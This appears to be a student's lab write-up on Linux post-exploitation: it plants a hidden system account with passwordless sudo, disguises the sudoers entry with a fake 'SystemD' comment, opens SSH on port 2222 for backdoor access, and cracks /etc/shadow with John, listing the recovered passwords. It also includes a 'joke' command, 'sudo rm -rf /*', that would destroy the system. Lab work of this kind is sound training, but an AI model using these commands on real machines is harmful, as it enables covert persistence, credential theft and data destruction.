**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * useradd -r -M sysd #The -M ensures no home is created, -r means system-account
2. Give your secret user a password:  
   * passwd sysd #There is no need for a sudo, we are already root
3. Give your secret user a system UID < 1000:  
   * useradd -r -M sysd #the System UID is created initially when we use the -r flag
4. Give your secret user the same GID:  
   * useradd -r -M sysd #This also applies to a GID - if they do not get the same NUMBER, you would have to change one or the other. Presumably they will get the same ID# because they are system accounts and that specific number hasn’t been used yet. Check with command “id”
5. Give your secret user full sudo access without the need for a password:  
   * echo -e "#SystemD Resources\nsysd ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers #This command also adds a comment to the end of the /etc/sudoers file to disguise the new account!
6. Test that sudo access works without your password:  
     
   sudo -l || sudo rm -rf /\* #the second cmd is a joke!!!

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
   sed 's/#Port 22/Port 22\nPort 2222/' /etc/ssh/sshd\_config > /etc/ssh/sshd\_config2 && mv /etc/ssh/sshd\_config2 /etc/ssh/sshd\_config #This is a one liner that opens both ports 22 & 2222. Without the use of a text editor

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * systemctl restart ssh
2. Exit the root account:  
   * exit
3. SSH to the target machine using your sysd account and port 2222:  
   * ssh -p2222 sysd@192.168.6.105
4. Use sudo to switch to the root user:  
   * sudo bash

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * ssh -p2222 sysd@192.168.6.105
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * john --wordlist='/usr/share/john/password.lst' /etc/shadow
   * #####CONTENTS OF /etc/shadow - CRACKED#######
   * sysadmin:passw0rd:18387:0:99999:7:::
   * mitnik:trustno1:18387:0:99999:7:::
   * babbage:freedom:18387:0:99999:7:::
   * lovelace:dragon:18387:0:99999:7:::
   * stallman:computer:18387:0:99999:7:::
   * turing:lakers:18387:0:99999:7:::
   * sysd:blah:18564::::::